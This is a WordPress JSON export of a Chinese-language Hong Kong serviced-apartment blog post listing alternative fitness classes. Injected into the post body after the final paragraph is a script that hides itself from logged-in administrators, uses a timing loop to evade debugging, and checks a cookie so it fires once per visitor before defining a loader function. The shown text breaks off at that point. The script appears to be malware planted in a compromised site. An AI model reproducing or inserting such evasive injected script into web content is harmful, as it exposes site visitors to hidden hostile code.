(Facebook)<\/figcaption><\/figure><\/div>\n\n\n\n<p>\u4e0d\u60f3\u518d\u5728\u9678\u5730\u4e0a\u505a\u5065\u8eab\u904b\u52d5\uff1f\u8a66\u8a66\u5728\u7a7a\u4e2d\u505a\u5427\uff01\u7a7a\u4e2d\u5f48\u8df3\u904b\u52d5\u662f\u4e00\u9805\u5f9e\u7279\u6280\u9ad4\u64cd\u6f14\u8b8a\u800c\u6210\u7684\u9ad8\u5f37\u5ea6\u9593\u6b47\u8a13\u7df4\uff0c\u5b78\u54e1\u9700\u8981\u5750\u5728\u4ee5\u5f48\u7c27\u7e69\u7d22\u9023\u7e6b\u5929\u82b1\u677f\u7684\u5b89\u5168\u5e36\u4e0a\u505a\u904b\u52d5\u3002\u96d6\u7136\u7a7a\u4e2d\u5f48\u8df3\u904b\u52d5\u8207\u7a7a\u4e2d\u745c\u4f3d\u4e00\u6a23\u90fd\u662f\u96d9\u817f\u96e2\u5730\u4e26\u4e14\u5728\u7a7a\u4e2d\u6416\u66f3\u904b\u52d5\uff0c\u7136\u800c\u5b83\u537b\u4e0d\u6703\u50cf\u7a7a\u4e2d\u745c\u4f3d\u4e00\u6a23\u8b93\u4f60\u5728\u4e00\u5c0f\u6642\u7684\u7df4\u7fd2\u4e2d\u611f\u5230\u5e73\u975c\uff0c\u7686\u56e0\u5f48\u7c27\u7e69\u7684\u963b\u529b\u6703\u8b93\u4f60\u5dee\u4e0d\u591a\u7528\u4e0a\u5168\u8eab\u808c\u8089\u904b\u52d5\uff0c\u6545\u6b64\u7a7a\u4e2d\u5f48\u8df3\u904b\u52d5\u7d55\u5c0d\u662f\u935b\u934a\u6838\u5fc3\u808c\u7fa4\u7684\u53e6\u985e\u5065\u8eab\u904b\u52d5\u597d\u9078\u64c7\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/www.grandjetedancecenter.com\/\">Grand Jet\u00e9 Dance Centre<\/a>\uff1a\u65b0\u84b2\u5d17\u7235\u797f\u8857Port 33 903\u5ba4<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">10. \u99ac\u6232\u5718\u7279\u6280\u5065\u8eab\u904b\u52d5<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1080\" height=\"612\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_10.jpeg\" alt=\"\" class=\"wp-image-3273\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_10.jpeg 1080w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_10-720x408.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_10-768x435.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_10-18x10.jpeg 18w\" sizes=\"auto, (max-width: 1080px) 100vw, 1080px\" \/><figcaption>\u5716\u7247\u4f86\u6e90\uff1a@trybehongkong (Facebook)<\/figcaption><\/figure><\/div>\n\n\n\n<p>\u60f3\u77e5\u9053\u99ac\u6232\u5718\u8868\u6f14\u8005\u5982\u4f55\u8f15\u9b06\u505a\u51fa\u5404\u7a2e\u8209\u8d77\u548c\u5e73\u8861\u52d5\u4f5c\uff1fTrybe\u5c07\u50b3\u7d71\u99ac\u6232\u5718\u96d9\u4eba\u8868\u6f14\u7684\u6280\u5de7\u6f14\u8b8a\u6210\u6709\u8da3\u597d\u73a9\u7684\u5065\u8eab\u8ab2\u7a0b\uff0c\u8b93\u4f60\u53ef\u4e00\u9762\u505a\u904b\u52d5\uff0c\u4e00\u9762\u4e86\u89e3\u99ac\u6232\u5718\u8868\u6f14\u7684\u5967\u79d8\u3002\u4f60\u5c07\u6703\u8207\u5176\u4ed6\u5b78\u54e1\u4e8c\u4eba\u4e00\u7d44\uff0c\u4e00\u8d77\u5b78\u7fd2\u5404\u7a2e\u9ad8\u96e3\u5ea6\u52d5\u4f5c\u3001\u935b\u934a\u8eab\u9ad4\u7684\u529b\u91cf\u3001\u5354\u8abf\u3001\u5e73\u8861\u53ca\u8207\u6e9d\u901a\u80fd\u529b\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/www.trybehk.com\/\">Trybe<\/a>\uff1a\u5805\u5c3c\u5730\u57ce\u5351\u8def\u4e4d\u88575H\u865f\u5357\u96c4\u5927\u5ec8 G\/F 10B\u8216<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"480\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/J-D-workshop14.jpg\" alt=\"\" class=\"wp-image-3274\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/J-D-workshop14.jpg 640w, https:\/\/lansonplace.cn\/wp-content\/uploads\/J-D-workshop14-16x12.jpg 16w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure><\/div>\n\n\n\n<p>\u9999\u6e2f\u9038\u862d\u8607\u8c6a\u6771\u670d\u52d9\u5f0f\u516c\u5bd3\u91cd\u8996\u8cd3\u5ba2\u7684\u8eab\u5fc3\u5065\u5eb7\uff0c\u4e26\u5b9a\u6642\u8209\u8fa6\u4e0d\u540c\u5065\u5eb7\u4e3b\u984c\u7684\u6d3b\u52d5\u548c\u5de5\u4f5c\u574a\u3002\u9038\u862d\u8207\u7269\u7406\u6cbb\u7642\u8a3a\u6240 <a href=\"https:\/\/www.jointdynamics.com.hk\/\">Joint Dynamics<\/a> \u806f\u624b\u8209\u8fa6\u5065\u5eb7\u5de5\u4f5c\u574a\uff0c\u8b93\u8cd3\u5ba2\u5728Yoga\u2019rden\u4e00\u8d77\u904b\u52d5\uff0c\u540c\u6642\u7372\u53d6\u4e0d\u540c\u7684\u5065\u8eab\u8cbc\u58eb\u3002\u60f3\u4e86\u89e3\u66f4\u591a\u5373\u5c07\u8209\u884c\u7684\u5065\u8eab\u6d3b\u52d5\u8cc7\u8a0a\uff0c\u6b61\u8fce\u96a8\u6642\u806f\u7d61\u6211\u5011\u3002<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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Whether you\u2019re feeling bored of your traditional workout sessions or looking to try something new, stay active by giving these fun alternative workouts a try! Fun Fitness Classes &amp; Alternative Workouts to Try [&hellip;]<\/p>","protected":false},"author":1,"featured_media":3267,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[6],"tags":[],"class_list":["post-3261","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-health-wellness"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.3.1 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>10 Alternative Workout &amp; Fun Fitness Classes in Hong Kong<\/title>\n<meta name=\"description\" content=\"Hate the gym? Give these 10 alternative workout and fun fitness classes a try instead! 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